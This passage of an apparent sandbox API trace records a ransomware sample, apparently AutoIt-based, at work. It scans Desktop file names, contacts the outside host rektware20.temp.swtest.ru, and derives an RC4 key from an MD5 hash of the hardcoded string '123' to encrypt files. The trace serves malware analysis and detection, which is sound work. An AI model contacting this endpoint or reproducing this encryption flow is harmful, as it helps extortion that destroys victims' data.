(Locale=0x400, dwCmpFlags=0x1, lpString1="nxMn6Ps\\Desktop\\xt7veS-S81.avi", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0078.566] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="xMn6Ps\\Desktop\\xt7veS-S81.avi", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0078.566] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Mn6Ps\\Desktop\\xt7veS-S81.avi", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0078.566] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="n6Ps\\Desktop\\xt7veS-S81.avi", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0078.566] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="6Ps\\Desktop\\xt7veS-S81.avi", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0078.566] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Ps\\Desktop\\xt7veS-S81.avi", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0078.566] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="s\\Desktop\\xt7veS-S81.avi", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0078.566] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="\\Desktop\\xt7veS-S81.avi", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0078.566] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Desktop\\xt7veS-S81.avi", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0078.566] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="esktop\\xt7veS-S81.avi", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0078.566] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="sktop\\xt7veS-S81.avi", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0078.566] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="ktop\\xt7veS-S81.avi", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0078.566] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="top\\xt7veS-S81.avi", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0078.567] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="op\\xt7veS-S81.avi", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0078.567] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="p\\xt7veS-S81.avi", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0078.567] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="\\xt7veS-S81.avi", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0078.567] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="xt7veS-S81.avi", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0078.567] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="t7veS-S81.avi", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0078.567] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="7veS-S81.avi", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0078.567] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="veS-S81.avi", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0078.567] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="eS-S81.avi", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0078.567] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="S-S81.avi", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0078.567] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="-S81.avi", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0078.567] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="S81.avi", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0078.567] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="81.avi", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0078.567] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="1.avi", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0078.567] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1=".avi", cchCount1=3, lpString2=".xd", cchCount2=3) returned 1 [0078.567] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="avi", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0078.567] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0078.567] CharUpperBuffW (in: lpsz="CRYPT", cchLength=0x5 | out: lpsz="CRYPT") returned 0x5 [0078.567] PeekMessageW (in: lpMsg=0x130f3bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f3bc) returned 0 [0078.567] CharUpperBuffW (in: lpsz="_CRYPT_ENCRYPTFILE", cchLength=0x12 | out: lpsz="_CRYPT_ENCRYPTFILE") returned 0x12 [0078.567] InternetCrackUrlW (in: lpszUrl="http://rektware20.temp.swtest.ru/test1.php", dwUrlLength=0x2a, dwFlags=0x0, lpUrlComponents=0x130edc8 | out: lpUrlComponents=0x130edc8) returned 1 [0078.567] InternetOpenW (lpszAgent="AutoIt", dwAccessType=0x0, lpszProxy=0x0, lpszProxyBypass=0x0, dwFlags=0x0) returned 0xcc0004 [0078.567] InternetSetOptionW (hInternet=0x0, dwOption=0x32, lpBuffer=0x130ee10, dwBufferLength=0x8) returned 1 [0078.567] InternetQueryOptionW (in: hInternet=0x0, dwOption=0x26, lpBuffer=0x0, lpdwBufferLength=0x130ee1c | out: lpBuffer=0x0, lpdwBufferLength=0x130ee1c) returned 0 [0078.567] InternetQueryOptionW (in: hInternet=0x0, dwOption=0x26, lpBuffer=0x1620d90, lpdwBufferLength=0x130ee1c | out: lpBuffer=0x1620d90, lpdwBufferLength=0x130ee1c) returned 1 [0078.567] InternetConnectW (hInternet=0xcc0004, lpszServerName="rektware20.temp.swtest.ru", nServerPort=0x50, lpszUserName="", lpszPassword="", dwService=0x3, dwFlags=0x0, dwContext=0x0) returned 0xcc0008 [0078.567] HttpOpenRequestW (hConnect=0xcc0008, lpszVerb=0x0, lpszObjectName="/test1.php", lpszVersion=0x0, lpszReferrer=0x0, lplpszAcceptTypes=0x0, dwFlags=0x0, dwContext=0x0) returned 0xcc000c [0078.567] HttpSendRequestW (in: hRequest=0xcc000c, lpszHeaders=0x0, dwHeadersLength=0x0, lpOptional=0x0*, dwOptionalLength=0x0 | out: lpOptional=0x0*) returned 1 [0078.568] HttpQueryInfoW (in: hRequest=0xcc000c, dwInfoLevel=0x20000013, lpBuffer=0x130edd0, lpdwBufferLength=0x130edc8, lpdwIndex=0x130edcc*=0x0 | out: lpBuffer=0x130edd0*, lpdwBufferLength=0x130edc8*=0x4, lpdwIndex=0x130edcc*=0x0) returned 1 [0078.568] HttpQueryInfoW (in: hRequest=0xcc000c, dwInfoLevel=0x5, lpBuffer=0x130edec, lpdwBufferLength=0x130ee18, lpdwIndex=0x130ee1c*=0x0 | out: lpBuffer=0x130edec*, lpdwBufferLength=0x130ee18*=0x2, lpdwIndex=0x130ee1c*=0x1) returned 1 [0078.568] InternetQueryDataAvailable (hFile=0xcc000c, lpdwNumberOfBytesAvailable=0x130edcc, dwFlags=0x0, dwContext=0x0) returned 1 [0078.568] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x1629320, dwNumberOfBytesToRead=0x2, lpdwNumberOfBytesRead=0x130edd0 | out: lpBuffer=0x1629320*, lpdwNumberOfBytesRead=0x130edd0*=0x2) returned 1 [0078.568] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x16293d0, dwNumberOfBytesToRead=0x2, lpdwNumberOfBytesRead=0x130edd0 | out: lpBuffer=0x16293d0*, lpdwNumberOfBytesRead=0x130edd0*=0x0) returned 1 [0078.568] InternetCloseHandle (hInternet=0xcc000c) returned 1 [0078.568] InternetCloseHandle (hInternet=0xcc0004) returned 1 [0078.568] InternetCloseHandle (hInternet=0xcc0008) returned 0 [0078.568] CloseHandle (hObject=0x0) returned 0 [0078.568] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0078.568] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\xt7veS-S81.avi", lpFindFileData=0x130ebb0 | out: lpFindFileData=0x130ebb0) returned 0x164d130 [0078.568] FindClose (in: hFindFile=0x164d130 | out: hFindFile=0x164d130) returned 1 [0078.569] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0078.569] CharUpperBuffW (in: lpsz="_CRYPT_STARTUP", cchLength=0xe | out: lpsz="_CRYPT_STARTUP") returned 0xe [0078.569] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0078.569] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0078.569] PeekMessageW (in: lpMsg=0x130eaec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130eaec) returned 0 [0078.569] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0078.569] LoadLibraryW (lpLibFileName="Advapi32.dll") returned 0x74c60000 [0078.569] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0078.569] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0078.569] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLESET", cchLength=0x14 | out: lpsz="__CRYPT_DLLHANDLESET") returned 0x14 [0078.569] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0078.584] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0078.584] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0078.584] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0078.584] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0078.584] PeekMessageW (in: lpMsg=0x130e8bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e8bc) returned 0 [0078.584] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0078.584] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptAcquireContext", cchWideChar=20, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 20 [0078.584] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptAcquireContext", cchWideChar=20, lpMultiByteStr=0x164e290, cbMultiByte=20, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptAcquireContext", lpUsedDefaultChar=0x0) returned 20 [0078.584] GetProcAddress (hModule=0x74c60000, lpProcName="CryptAcquireContext") returned 0x0 [0078.584] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptAcquireContextA", cchWideChar=21, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 21 [0078.584] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptAcquireContextA", cchWideChar=21, lpMultiByteStr=0x164e330, cbMultiByte=21, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptAcquireContextA", lpUsedDefaultChar=0x0) returned 21 [0078.584] GetProcAddress (hModule=0x74c60000, lpProcName="CryptAcquireContextA") returned 0x74c80c00 [0078.585] CryptAcquireContextA (in: phProv=0x130e890, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x130e890*=0x1631d48) returned 1 [0078.585] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0078.585] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0078.585] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXTSET", cchLength=0x12 | out: lpsz="__CRYPT_CONTEXTSET") returned 0x12 [0078.585] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0078.585] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0078.585] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0078.585] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0078.585] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0078.585] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTINC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTINC") returned 0x13 [0078.585] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0078.585] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0078.585] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0078.585] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0078.586] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0078.586] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0078.586] CharUpperBuffW (in: lpsz="_CRYPT_DERIVEKEY", cchLength=0x10 | out: lpsz="_CRYPT_DERIVEKEY") returned 0x10 [0078.586] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0078.586] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0078.586] CharUpperBuffW (in: lpsz="_CRYPT_STARTUP", cchLength=0xe | out: lpsz="_CRYPT_STARTUP") returned 0xe [0078.586] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0078.586] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0078.586] PeekMessageW (in: lpMsg=0x130e5bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5bc) returned 0 [0078.586] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0078.586] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0078.586] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTINC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTINC") returned 0x13 [0078.586] PeekMessageW (in: lpMsg=0x130e784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e784) returned 0 [0078.586] PeekMessageW (in: lpMsg=0x130e784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e784) returned 0 [0078.586] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0078.586] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0078.586] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0078.586] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0078.586] PeekMessageW (in: lpMsg=0x130e5cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5cc) returned 0 [0078.586] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXT", cchLength=0xf | out: lpsz="__CRYPT_CONTEXT") returned 0xf [0078.586] PeekMessageW (in: lpMsg=0x130e5cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5cc) returned 0 [0078.586] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0078.586] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptCreateHash", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0078.586] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptCreateHash", cchWideChar=16, lpMultiByteStr=0x1621570, cbMultiByte=16, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptCreateHash", lpUsedDefaultChar=0x0) returned 16 [0078.587] GetProcAddress (hModule=0x74c60000, lpProcName="CryptCreateHash") returned 0x74c7f930 [0078.587] CryptCreateHash (in: hProv=0x1631d48, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x130e600 | out: phHash=0x130e600) returned 1 [0078.587] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0078.587] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0078.587] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0078.587] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0078.587] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="123", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0078.587] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="123", cchWideChar=4, lpMultiByteStr=0x16293d0, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="123", lpUsedDefaultChar=0x0) returned 4 [0078.587] CharLowerBuffW (in: lpsz="byte[3]", cchLength=0x7 | out: lpsz="byte[3]") returned 0x7 [0078.587] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0078.587] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="123", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0078.587] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="123", cchWideChar=4, lpMultiByteStr=0x1629480, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="123", lpUsedDefaultChar=0x0) returned 4 [0078.587] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0078.587] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0078.587] PeekMessageW (in: lpMsg=0x130e5cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5cc) returned 0 [0078.587] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0078.587] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptHashData", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0078.587] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptHashData", cchWideChar=14, lpMultiByteStr=0x1621690, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptHashData", lpUsedDefaultChar=0x0) returned 14 [0078.588] GetProcAddress (hModule=0x74c60000, lpProcName="CryptHashData") returned 0x74c7f950 [0078.588] CryptHashData (hHash=0x164c6b0, pbData=0x1629440, dwDataLen=0x3, dwFlags=0x1) returned 1 [0078.588] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0078.588] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0078.588] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0078.588] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0078.588] PeekMessageW (in: lpMsg=0x130e5cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5cc) returned 0 [0078.588] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXT", cchLength=0xf | out: lpsz="__CRYPT_CONTEXT") returned 0xf [0078.588] PeekMessageW (in: lpMsg=0x130e5cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5cc) returned 0 [0078.588] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0078.588] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptDeriveKey", cchWideChar=15, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 15 [0078.588] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptDeriveKey", cchWideChar=15, lpMultiByteStr=0x16217b0, cbMultiByte=15, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptDeriveKey", lpUsedDefaultChar=0x0) returned 15 [0078.588] GetProcAddress (hModule=0x74c60000, lpProcName="CryptDeriveKey") returned 0x74c95b70 [0078.588] CryptDeriveKey (in: hProv=0x1631d48, Algid=0x6610, hBaseData=0x164c6b0, dwFlags=0x1, phKey=0x130e600 | out: phKey=0x130e600*=0x164ca30) returned 1 [0078.588] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0078.588] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0078.588] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0078.588] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0078.588] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0078.588] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0078.589] PeekMessageW (in: lpMsg=0x130e73c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e73c) returned 0 [0078.589] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0078.589] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptDestroyHash", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0078.589] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptDestroyHash", cchWideChar=17, lpMultiByteStr=0x164dfb0, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptDestroyHash", lpUsedDefaultChar=0x0) returned 17 [0078.589] GetProcAddress (hModule=0x74c60000, lpProcName="CryptDestroyHash") returned 0x74c7fbf0 [0078.589] CryptDestroyHash (hHash=0x164c6b0) returned 1 [0078.589] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0078.589] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, 